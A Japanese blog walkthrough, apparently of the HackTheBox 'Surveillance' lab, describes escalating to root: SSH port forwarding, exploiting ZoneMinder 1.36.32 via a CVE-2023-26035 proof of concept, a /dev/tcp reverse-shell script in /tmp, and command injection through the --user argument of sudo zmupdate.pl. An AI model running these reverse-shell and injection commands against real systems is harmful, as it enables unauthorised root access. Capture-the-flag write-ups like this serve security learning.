Privilege Escalation
こんにちは、Gaijineer「Gaijin + enjineer」のハサンです。前回は HackTheBox の Mediumマシンである「Surveillance」のuser flag 取得まで載せましたが、今回は、root flagを取得するWalkthroughを投稿します。
前回の続きです。
先にsshを使ってlinpeasをダウンロードします。そして、systemのすべての概要を把握するためlinpeas実行します。
実行結果を見ると、なんかパスワードがあります。あとで使えそうですね。
また、ポート8080で何かが動いていることに気づいたので、sshでローカルポート転送を行います。
下記のコマンドを使用します。
ssh -L 8080:127.0.0.1:8080 matthew@<target ip>
上記のコマンドざっくり説明すると以下になります。
- ssh : このコマンドは、リモート・サーバーとの安全なシェル接続を確立するために使用します。
- -L 8080:127.0.0.1:8080 : ローカルポート転送を設定する。これはSSHにローカルマシン(127.0.0.1)の8080番ポートをlistenし、SSHトンネルを通してターゲットマシンの8080番ポートに接続を転送するように指示します。
- matthew@target ip> : 接続先のユーザー名とIPアドレスを指定する。
下記のように実行します。
ローカルのポート転送を通して、ZoneMinderのログインページがポート8080で実行されていることがわかりました。これまで見つけたすべてのパスワードとユーザーを試してみましたが、ログインに成功することは出来ませんでした。
そこで、/usr/share/zoneminderでさらに情報を探してみます。すると、/usr/share/zoneminder/www/api/app/ConfigにZoneMinderのバージョンがあり、それは1.36.32です。
このディレクトリにあるすべてのファイルで同時に「バージョン」という単語を検索するコマンドを使ったところ、すぐにバージョンを見つけることができました。下記のコマンド使用しました。
cat * | grep -i version
それからZoneMinder 1.36.32のエクスプロイトをググってみると、脆弱性CVE-2023-26035のスクリプトが見つかった。
下記のheapbytesのスクリプトは私の場合うまく行きました。
上記のスクリプトでreverse-shellを取得するには、スクリプトがページにアクセスできるように、ローカルでポート転送を済ませておく必要があります。
python3 poc.py –target http://127.0.0.1:8080/ –cmd 'bash -c "bash -i >& /dev/shm/<attacker ip>/<listening port> 0>&1"'
これで私はzoneminderというユーザーとなりました、パスワードなしでsudoを使ってコマンドを実行できるようになりました。このコマンドはそれほど "厳密 "ではないので、これを使ってrootユーザーになることも可能です。
dev/shmでもいいのだが、/tmpディレクトリにreverse-shellファイルを作りました。ファイル名はshell.shとしました。
ファイルを作成して書き込んだ後、permissionを700に変更し、ファイルの作成者である現在のユーザーだけが読み取り、書き込み、実行権限を持つようにしました。
#!/bin/bash
bash -i >& /dev/tcp/<attacker ip>/<listening por> 0>&1
私が実行しなければならないsudoコマンドには、特定のファイルは指定されていない。ただ、.plで終わり、"zm "で始まらなければならない。これを利用するために、私はzmupdate.plを使っています。
以下のコマンドは、reverse-shellを受け取るリスナーを指定した後に実行しました。
sudo /usr/bin/zmupdate.pl –version=1 –user='$(/tmp/shell.sh)' pass=ZoneMinderPassword2023
- sudo : これはUnix系OSで使われるコマンドで、許可されたユーザーがスーパーユーザーや他のユーザーとしてコマンドを実行できるようにするものです。
- /usr/bin/zmupdate.pl : これは/usr/binディレクトリにあるPerlスクリプトzmupdate.plへのパスです。
- –version=1 : これは更したい ZoneMinder のバージョンを指定します。バージョン 1 に設定されています。
- –user=’$(/tmp/shell.sh)’ : これは、ZoneMinder 更新プロセスのユーザを指定します。ユーザ名を動的に指定するために、/tmpディレクトリにあるshell.shというシェルスクリプトを呼び出しています。
- –pass=ZoneMinderPassword2023 : ZoneMinder 更新プロセスのパスワードを指定します。ZoneMinderPassword2023に設定されています。
コマンドを実行した後、プログラムの指示に従い、"y "でバックアップを取った後、rootとしてreverse-shellを取得しました。
それではroot権限取得後、root flagをゲットします。
以上です。
ここまで読んで頂いてありがとうございます。